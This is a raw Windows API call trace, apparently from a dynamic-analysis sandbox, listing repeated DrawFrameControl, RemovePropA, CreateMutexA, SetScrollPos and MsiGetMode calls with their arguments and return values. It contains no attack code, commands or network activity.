	[0094.100] DrawFrameControl (in: param_1=0x0, param_2=0xdef364, param_3=0x2, param_4=0x2 | out: param_2=0xdef364) returned 0
	[0094.100] DrawFrameControl (in: param_1=0x0, param_2=0xdef364, param_3=0x2, param_4=0x2 | out: param_2=0xdef364) returned 0
	[0094.100] DrawFrameControl (in: param_1=0x0, param_2=0xdef364, param_3=0x2, param_4=0x2 | out: param_2=0xdef364) returned 0
	[0094.100] DrawFrameControl (in: param_1=0x0, param_2=0xdef364, param_3=0x2, param_4=0x2 | out: param_2=0xdef364) returned 0
	[0094.100] DrawFrameControl (in: param_1=0x0, param_2=0xdef364, param_3=0x2, param_4=0x2 | out: param_2=0xdef364) returned 0
	[0094.100] DrawFrameControl (in: param_1=0x0, param_2=0xdef364, param_3=0x2, param_4=0x2 | out: param_2=0xdef364) returned 0
	[0094.101] DrawFrameControl (in: param_1=0x0, param_2=0xdef364, param_3=0x2, param_4=0x2 | out: param_2=0xdef364) returned 0
	[0094.101] DrawFrameControl (in: param_1=0x0, param_2=0xdef364, param_3=0x2, param_4=0x2 | out: param_2=0xdef364) returned 0
	[0094.101] DrawFrameControl (in: param_1=0x0, param_2=0xdef364, param_3=0x2, param_4=0x2 | out: param_2=0xdef364) returned 0
	[0094.101] DrawFrameControl (in: param_1=0x0, param_2=0xdef364, param_3=0x2, param_4=0x2 | out: param_2=0xdef364) returned 0
	[0094.101] DrawFrameControl (in: param_1=0x0, param_2=0xdef364, param_3=0x2, param_4=0x2 | out: param_2=0xdef364) returned 0
	[0094.101] DrawFrameControl (in: param_1=0x0, param_2=0xdef364, param_3=0x2, param_4=0x2 | out: param_2=0xdef364) returned 0
	[0094.101] DrawFrameControl (in: param_1=0x0, param_2=0xdef364, param_3=0x2, param_4=0x2 | out: param_2=0xdef364) returned 0
	[0094.101] DrawFrameControl (in: param_1=0x0, param_2=0xdef364, param_3=0x2, param_4=0x2 | out: param_2=0xdef364) returned 0
	[0094.101] DrawFrameControl (in: param_1=0x0, param_2=0xdef364, param_3=0x2, param_4=0x2 | out: param_2=0xdef364) returned 0
	[0094.101] DrawFrameControl (in: param_1=0x0, param_2=0xdef364, param_3=0x2, param_4=0x2 | out: param_2=0xdef364) returned 0
	[0094.101] DrawFrameControl (in: param_1=0x0, param_2=0xdef364, param_3=0x2, param_4=0x2 | out: param_2=0xdef364) returned 0
	[0094.101] DrawFrameControl (in: param_1=0x0, param_2=0xdef364, param_3=0x2, param_4=0x2 | out: param_2=0xdef364) returned 0
	[0094.101] DrawFrameControl (in: param_1=0x0, param_2=0xdef364, param_3=0x2, param_4=0x2 | out: param_2=0xdef364) returned 0
	[0094.101] DrawFrameControl (in: param_1=0x0, param_2=0xdef364, param_3=0x2, param_4=0x2 | out: param_2=0xdef364) returned 0
	[0094.101] DrawFrameControl (in: param_1=0x0, param_2=0xdef364, param_3=0x2, param_4=0x2 | out: param_2=0xdef364) returned 0
	[0094.101] DrawFrameControl (in: param_1=0x0, param_2=0xdef364, param_3=0x2, param_4=0x2 | out: param_2=0xdef364) returned 0
	[0094.101] DrawFrameControl (in: param_1=0x0, param_2=0xdef364, param_3=0x2, param_4=0x2 | out: param_2=0xdef364) returned 0
	[0094.102] DrawFrameControl (in: param_1=0x0, param_2=0xdef364, param_3=0x2, param_4=0x2 | out: param_2=0xdef364) returned 0
	[0094.102] DrawFrameControl (in: param_1=0x0, param_2=0xdef364, param_3=0x2, param_4=0x2 | out: param_2=0xdef364) returned 0
	[0094.102] DrawFrameControl (in: param_1=0x0, param_2=0xdef364, param_3=0x2, param_4=0x2 | out: param_2=0xdef364) returned 0
	[0094.102] DrawFrameControl (in: param_1=0x0, param_2=0xdef364, param_3=0x2, param_4=0x2 | out: param_2=0xdef364) returned 0
	[0094.102] DrawFrameControl (in: param_1=0x0, param_2=0xdef364, param_3=0x2, param_4=0x2 | out: param_2=0xdef364) returned 0
	[0094.102] DrawFrameControl (in: param_1=0x0, param_2=0xdef364, param_3=0x2, param_4=0x2 | out: param_2=0xdef364) returned 0
	[0094.102] DrawFrameControl (in: param_1=0x0, param_2=0xdef364, param_3=0x2, param_4=0x2 | out: param_2=0xdef364) returned 0
	[0094.102] DrawFrameControl (in: param_1=0x0, param_2=0xdef364, param_3=0x2, param_4=0x2 | out: param_2=0xdef364) returned 0
	[0094.102] DrawFrameControl (in: param_1=0x0, param_2=0xdef364, param_3=0x2, param_4=0x2 | out: param_2=0xdef364) returned 0
	[0094.102] DrawFrameControl (in: param_1=0x0, param_2=0xdef364, param_3=0x2, param_4=0x2 | out: param_2=0xdef364) returned 0
	[0094.102] DrawFrameControl (in: param_1=0x0, param_2=0xdef364, param_3=0x2, param_4=0x2 | out: param_2=0xdef364) returned 0
	[0094.102] DrawFrameControl (in: param_1=0x0, param_2=0xdef364, param_3=0x2, param_4=0x2 | out: param_2=0xdef364) returned 0
	[0094.102] DrawFrameControl (in: param_1=0x0, param_2=0xdef364, param_3=0x2, param_4=0x2 | out: param_2=0xdef364) returned 0
	[0094.102] DrawFrameControl (in: param_1=0x0, param_2=0xdef364, param_3=0x2, param_4=0x2 | out: param_2=0xdef364) returned 0
	[0094.102] DrawFrameControl (in: param_1=0x0, param_2=0xdef364, param_3=0x2, param_4=0x2 | out: param_2=0xdef364) returned 0
	[0094.102] DrawFrameControl (in: param_1=0x0, param_2=0xdef364, param_3=0x2, param_4=0x2 | out: param_2=0xdef364) returned 0
	[0094.103] DrawFrameControl (in: param_1=0x0, param_2=0xdef364, param_3=0x2, param_4=0x2 | out: param_2=0xdef364) returned 0
	[0094.103] DrawFrameControl (in: param_1=0x0, param_2=0xdef364, param_3=0x2, param_4=0x2 | out: param_2=0xdef364) returned 0
	[0094.103] DrawFrameControl (in: param_1=0x0, param_2=0xdef364, param_3=0x2, param_4=0x2 | out: param_2=0xdef364) returned 0
	[0094.103] DrawFrameControl (in: param_1=0x0, param_2=0xdef364, param_3=0x2, param_4=0x2 | out: param_2=0xdef364) returned 0
	[0094.103] DrawFrameControl (in: param_1=0x0, param_2=0xdef364, param_3=0x2, param_4=0x2 | out: param_2=0xdef364) returned 0
	[0094.103] DrawFrameControl (in: param_1=0x0, param_2=0xdef364, param_3=0x2, param_4=0x2 | out: param_2=0xdef364) returned 0
	[0094.103] DrawFrameControl (in: param_1=0x0, param_2=0xdef364, param_3=0x2, param_4=0x2 | out: param_2=0xdef364) returned 0
	[0094.103] DrawFrameControl (in: param_1=0x0, param_2=0xdef364, param_3=0x2, param_4=0x2 | out: param_2=0xdef364) returned 0
	[0094.103] DrawFrameControl (in: param_1=0x0, param_2=0xdef364, param_3=0x2, param_4=0x2 | out: param_2=0xdef364) returned 0
	[0094.103] DrawFrameControl (in: param_1=0x0, param_2=0xdef364, param_3=0x2, param_4=0x2 | out: param_2=0xdef364) returned 0
	[0094.103] DrawFrameControl (in: param_1=0x0, param_2=0xdef364, param_3=0x2, param_4=0x2 | out: param_2=0xdef364) returned 0
	[0094.103] DrawFrameControl (in: param_1=0x0, param_2=0xdef364, param_3=0x2, param_4=0x2 | out: param_2=0xdef364) returned 0
	[0094.103] DrawFrameControl (in: param_1=0x0, param_2=0xdef364, param_3=0x2, param_4=0x2 | out: param_2=0xdef364) returned 0
	[0094.103] DrawFrameControl (in: param_1=0x0, param_2=0xdef364, param_3=0x2, param_4=0x2 | out: param_2=0xdef364) returned 0
	[0094.103] DrawFrameControl (in: param_1=0x0, param_2=0xdef364, param_3=0x2, param_4=0x2 | out: param_2=0xdef364) returned 0
	[0094.103] DrawFrameControl (in: param_1=0x0, param_2=0xdef364, param_3=0x2, param_4=0x2 | out: param_2=0xdef364) returned 0
	[0094.103] DrawFrameControl (in: param_1=0x0, param_2=0xdef364, param_3=0x2, param_4=0x2 | out: param_2=0xdef364) returned 0
	[0094.104] DrawFrameControl (in: param_1=0x0, param_2=0xdef364, param_3=0x2, param_4=0x2 | out: param_2=0xdef364) returned 0
	[0094.104] DrawFrameControl (in: param_1=0x0, param_2=0xdef364, param_3=0x2, param_4=0x2 | out: param_2=0xdef364) returned 0
	[0094.104] DrawFrameControl (in: param_1=0x0, param_2=0xdef364, param_3=0x2, param_4=0x2 | out: param_2=0xdef364) returned 0
	[0094.104] DrawFrameControl (in: param_1=0x0, param_2=0xdef364, param_3=0x2, param_4=0x2 | out: param_2=0xdef364) returned 0
	[0094.104] DrawFrameControl (in: param_1=0x0, param_2=0xdef364, param_3=0x2, param_4=0x2 | out: param_2=0xdef364) returned 0
	[0094.104] DrawFrameControl (in: param_1=0x0, param_2=0xdef364, param_3=0x2, param_4=0x2 | out: param_2=0xdef364) returned 0
	[0094.104] DrawFrameControl (in: param_1=0x0, param_2=0xdef364, param_3=0x2, param_4=0x2 | out: param_2=0xdef364) returned 0
	[0094.104] DrawFrameControl (in: param_1=0x0, param_2=0xdef364, param_3=0x2, param_4=0x2 | out: param_2=0xdef364) returned 0
	[0094.104] RemovePropA (hWnd=0x0, lpString="") returned 0x0
	[0094.104] RemovePropA (hWnd=0x0, lpString="") returned 0x0
	[0094.104] RemovePropA (hWnd=0x0, lpString="") returned 0x0
	[0094.104] RemovePropA (hWnd=0x0, lpString="") returned 0x0
	[0094.104] RemovePropA (hWnd=0x0, lpString="") returned 0x0
	[0094.104] RemovePropA (hWnd=0x0, lpString="") returned 0x0
	[0094.104] RemovePropA (hWnd=0x0, lpString="") returned 0x0
	[0094.104] RemovePropA (hWnd=0x0, lpString="") returned 0x0
	[0094.104] RemovePropA (hWnd=0x0, lpString="") returned 0x0
	[0094.104] RemovePropA (hWnd=0x0, lpString="") returned 0x0
	[0094.104] RemovePropA (hWnd=0x0, lpString="") returned 0x0
	[0094.104] RemovePropA (hWnd=0x0, lpString="") returned 0x0
	[0094.104] RemovePropA (hWnd=0x0, lpString="") returned 0x0
	[0094.104] RemovePropA (hWnd=0x0, lpString="") returned 0x0
	[0094.104] RemovePropA (hWnd=0x0, lpString="") returned 0x0
	[0094.104] RemovePropA (hWnd=0x0, lpString="") returned 0x0
	[0094.104] RemovePropA (hWnd=0x0, lpString="") returned 0x0
	[0094.105] RemovePropA (hWnd=0x0, lpString="") returned 0x0
	[0094.105] RemovePropA (hWnd=0x0, lpString="") returned 0x0
	[0094.105] RemovePropA (hWnd=0x0, lpString="") returned 0x0
	[0094.105] RemovePropA (hWnd=0x0, lpString="") returned 0x0
	[0094.105] RemovePropA (hWnd=0x0, lpString="") returned 0x0
	[0094.105] RemovePropA (hWnd=0x0, lpString="") returned 0x0
	[0094.105] RemovePropA (hWnd=0x0, lpString="") returned 0x0
	[0094.105] RemovePropA (hWnd=0x0, lpString="") returned 0x0
	[0094.105] RemovePropA (hWnd=0x0, lpString="") returned 0x0
	[0094.105] RemovePropA (hWnd=0x0, lpString="") returned 0x0
	[0094.105] RemovePropA (hWnd=0x0, lpString="") returned 0x0
	[0094.105] RemovePropA (hWnd=0x0, lpString="") returned 0x0
	[0094.105] RemovePropA (hWnd=0x0, lpString="") returned 0x0
	[0094.105] RemovePropA (hWnd=0x0, lpString="") returned 0x0
	[0094.105] RemovePropA (hWnd=0x0, lpString="") returned 0x0
	[0094.105] RemovePropA (hWnd=0x0, lpString="") returned 0x0
	[0094.105] RemovePropA (hWnd=0x0, lpString="") returned 0x0
	[0094.105] RemovePropA (hWnd=0x0, lpString="") returned 0x0
	[0094.105] RemovePropA (hWnd=0x0, lpString="") returned 0x0
	[0094.105] RemovePropA (hWnd=0x0, lpString="") returned 0x0
	[0094.105] RemovePropA (hWnd=0x0, lpString="") returned 0x0
	[0094.105] RemovePropA (hWnd=0x0, lpString="") returned 0x0
	[0094.105] RemovePropA (hWnd=0x0, lpString="") returned 0x0
	[0094.105] RemovePropA (hWnd=0x0, lpString="") returned 0x0
	[0094.105] SetTextJustification (hdc=0x0, extra=0, count=0) returned 0
	[0094.105] GetProcAddress (hModule=0x77970000, lpProcName="memcpy") returned 0x779e7b00
	[0094.107] JetTruncateLogInstance () returned 0xfffffba5
	[0094.108] GetCurrentProcessId () returned 0xb50
	[0094.108] GetLastError () returned 0x7b
	[0094.108] SetLastError (dwErrCode=0x7b) 
	[0094.108] GetLastError () returned 0x7b
	[0094.108] SetLastError (dwErrCode=0x7b) 
	[0094.108] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.108] GetLastError () returned 0x0
	[0094.108] ReleaseMutex (hMutex=0x360) returned 1
	[0094.108] CloseHandle (hObject=0x360) returned 1
	[0094.109] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-22201956, bRedraw=1) returned 0
	[0094.109] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.109] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.109] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.109] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.110] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.112] GetCurrentProcessId () returned 0xb50
	[0094.112] GetLastError () returned 0x578
	[0094.112] SetLastError (dwErrCode=0x578) 
	[0094.112] GetLastError () returned 0x578
	[0094.112] SetLastError (dwErrCode=0x578) 
	[0094.112] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.112] GetLastError () returned 0x0
	[0094.112] ReleaseMutex (hMutex=0x360) returned 1
	[0094.112] CloseHandle (hObject=0x360) returned 1
	[0094.112] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-19580592, bRedraw=1) returned 0
	[0094.112] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.112] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.112] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.112] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.112] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.112] GetCurrentProcessId () returned 0xb50
	[0094.112] GetLastError () returned 0x578
	[0094.112] SetLastError (dwErrCode=0x578) 
	[0094.112] GetLastError () returned 0x578
	[0094.112] SetLastError (dwErrCode=0x578) 
	[0094.112] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.113] GetLastError () returned 0x0
	[0094.113] ReleaseMutex (hMutex=0x360) returned 1
	[0094.113] CloseHandle (hObject=0x360) returned 1
	[0094.113] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-7329282, bRedraw=1) returned 0
	[0094.113] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.113] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.113] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.113] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.113] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.113] GetCurrentProcessId () returned 0xb50
	[0094.113] GetLastError () returned 0x578
	[0094.113] SetLastError (dwErrCode=0x578) 
	[0094.113] GetLastError () returned 0x578
	[0094.113] SetLastError (dwErrCode=0x578) 
	[0094.113] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.113] GetLastError () returned 0x0
	[0094.113] ReleaseMutex (hMutex=0x360) returned 1
	[0094.113] CloseHandle (hObject=0x360) returned 1
	[0094.113] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=14551980, bRedraw=1) returned 0
	[0094.113] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.113] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.113] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.114] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.114] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.114] GetCurrentProcessId () returned 0xb50
	[0094.114] GetLastError () returned 0x578
	[0094.114] SetLastError (dwErrCode=0x578) 
	[0094.114] GetLastError () returned 0x578
	[0094.114] SetLastError (dwErrCode=0x578) 
	[0094.114] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.114] GetLastError () returned 0x0
	[0094.114] ReleaseMutex (hMutex=0x360) returned 1
	[0094.114] CloseHandle (hObject=0x360) returned 1
	[0094.114] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=46063194, bRedraw=1) returned 0
	[0094.114] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.114] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.114] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.114] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.114] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.114] GetCurrentProcessId () returned 0xb50
	[0094.114] GetLastError () returned 0x578
	[0094.114] SetLastError (dwErrCode=0x578) 
	[0094.114] GetLastError () returned 0x578
	[0094.114] SetLastError (dwErrCode=0x578) 
	[0094.114] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.114] GetLastError () returned 0x0
	[0094.114] ReleaseMutex (hMutex=0x360) returned 1
	[0094.114] CloseHandle (hObject=0x360) returned 1
	[0094.115] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=87204360, bRedraw=1) returned 0
	[0094.115] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.115] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.115] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.115] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.115] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.115] GetCurrentProcessId () returned 0xb50
	[0094.115] GetLastError () returned 0x578
	[0094.115] SetLastError (dwErrCode=0x578) 
	[0094.115] GetLastError () returned 0x578
	[0094.115] SetLastError (dwErrCode=0x578) 
	[0094.115] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.115] GetLastError () returned 0x0
	[0094.115] ReleaseMutex (hMutex=0x360) returned 1
	[0094.115] CloseHandle (hObject=0x360) returned 1
	[0094.115] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=137975478, bRedraw=1) returned 0
	[0094.115] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.115] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.115] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.115] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.115] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.115] GetCurrentProcessId () returned 0xb50
	[0094.115] GetLastError () returned 0x578
	[0094.116] SetLastError (dwErrCode=0x578) 
	[0094.116] GetLastError () returned 0x578
	[0094.116] SetLastError (dwErrCode=0x578) 
	[0094.116] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.116] GetLastError () returned 0x0
	[0094.116] ReleaseMutex (hMutex=0x360) returned 1
	[0094.116] CloseHandle (hObject=0x360) returned 1
	[0094.116] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=198376548, bRedraw=1) returned 0
	[0094.116] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.116] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.116] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.116] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.116] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.116] GetCurrentProcessId () returned 0xb50
	[0094.116] GetLastError () returned 0x578
	[0094.116] SetLastError (dwErrCode=0x578) 
	[0094.116] GetLastError () returned 0x578
	[0094.116] SetLastError (dwErrCode=0x578) 
	[0094.116] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.116] GetLastError () returned 0x0
	[0094.116] ReleaseMutex (hMutex=0x360) returned 1
	[0094.116] CloseHandle (hObject=0x360) returned 1
	[0094.116] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=268407570, bRedraw=1) returned 0
	[0094.117] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.117] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.117] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.117] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.117] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.117] GetCurrentProcessId () returned 0xb50
	[0094.117] GetLastError () returned 0x578
	[0094.117] SetLastError (dwErrCode=0x578) 
	[0094.117] GetLastError () returned 0x578
	[0094.117] SetLastError (dwErrCode=0x578) 
	[0094.117] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.117] GetLastError () returned 0x0
	[0094.117] ReleaseMutex (hMutex=0x360) returned 1
	[0094.117] CloseHandle (hObject=0x360) returned 1
	[0094.117] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=348068544, bRedraw=1) returned 0
	[0094.117] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.117] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.117] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.117] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.117] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.117] GetCurrentProcessId () returned 0xb50
	[0094.117] GetLastError () returned 0x578
	[0094.117] SetLastError (dwErrCode=0x578) 
	[0094.117] GetLastError () returned 0x578
	[0094.118] SetLastError (dwErrCode=0x578) 
	[0094.118] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.118] GetLastError () returned 0x0
	[0094.118] ReleaseMutex (hMutex=0x360) returned 1
	[0094.118] CloseHandle (hObject=0x360) returned 1
	[0094.118] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=437359470, bRedraw=1) returned 0
	[0094.118] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.118] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.118] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.118] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.118] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.118] GetCurrentProcessId () returned 0xb50
	[0094.118] GetLastError () returned 0x578
	[0094.118] SetLastError (dwErrCode=0x578) 
	[0094.118] GetLastError () returned 0x578
	[0094.118] SetLastError (dwErrCode=0x578) 
	[0094.118] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.118] GetLastError () returned 0x0
	[0094.118] ReleaseMutex (hMutex=0x360) returned 1
	[0094.118] CloseHandle (hObject=0x360) returned 1
	[0094.118] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=536280348, bRedraw=1) returned 0
	[0094.118] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.118] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.119] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.119] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.119] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.119] GetCurrentProcessId () returned 0xb50
	[0094.119] GetLastError () returned 0x578
	[0094.119] SetLastError (dwErrCode=0x578) 
	[0094.119] GetLastError () returned 0x578
	[0094.119] SetLastError (dwErrCode=0x578) 
	[0094.119] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.119] GetLastError () returned 0x0
	[0094.119] ReleaseMutex (hMutex=0x360) returned 1
	[0094.119] CloseHandle (hObject=0x360) returned 1
	[0094.119] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=644831178, bRedraw=1) returned 0
	[0094.119] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.119] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.119] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.119] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.119] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.119] GetCurrentProcessId () returned 0xb50
	[0094.119] GetLastError () returned 0x578
	[0094.119] SetLastError (dwErrCode=0x578) 
	[0094.119] GetLastError () returned 0x578
	[0094.119] SetLastError (dwErrCode=0x578) 
	[0094.119] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.120] GetLastError () returned 0x0
	[0094.120] ReleaseMutex (hMutex=0x360) returned 1
	[0094.120] CloseHandle (hObject=0x360) returned 1
	[0094.120] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=763011960, bRedraw=1) returned 0
	[0094.120] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.120] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.120] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.120] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.120] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.120] GetCurrentProcessId () returned 0xb50
	[0094.120] GetLastError () returned 0x578
	[0094.120] SetLastError (dwErrCode=0x578) 
	[0094.120] GetLastError () returned 0x578
	[0094.120] SetLastError (dwErrCode=0x578) 
	[0094.120] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.120] GetLastError () returned 0x0
	[0094.120] ReleaseMutex (hMutex=0x360) returned 1
	[0094.120] CloseHandle (hObject=0x360) returned 1
	[0094.120] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=890822694, bRedraw=1) returned 0
	[0094.120] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.120] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.120] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.121] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.121] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.121] GetCurrentProcessId () returned 0xb50
	[0094.121] GetLastError () returned 0x578
	[0094.121] SetLastError (dwErrCode=0x578) 
	[0094.121] GetLastError () returned 0x578
	[0094.121] SetLastError (dwErrCode=0x578) 
	[0094.121] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.121] GetLastError () returned 0x0
	[0094.121] ReleaseMutex (hMutex=0x360) returned 1
	[0094.121] CloseHandle (hObject=0x360) returned 1
	[0094.121] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1028263380, bRedraw=1) returned 0
	[0094.121] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.121] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.121] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.121] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.121] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
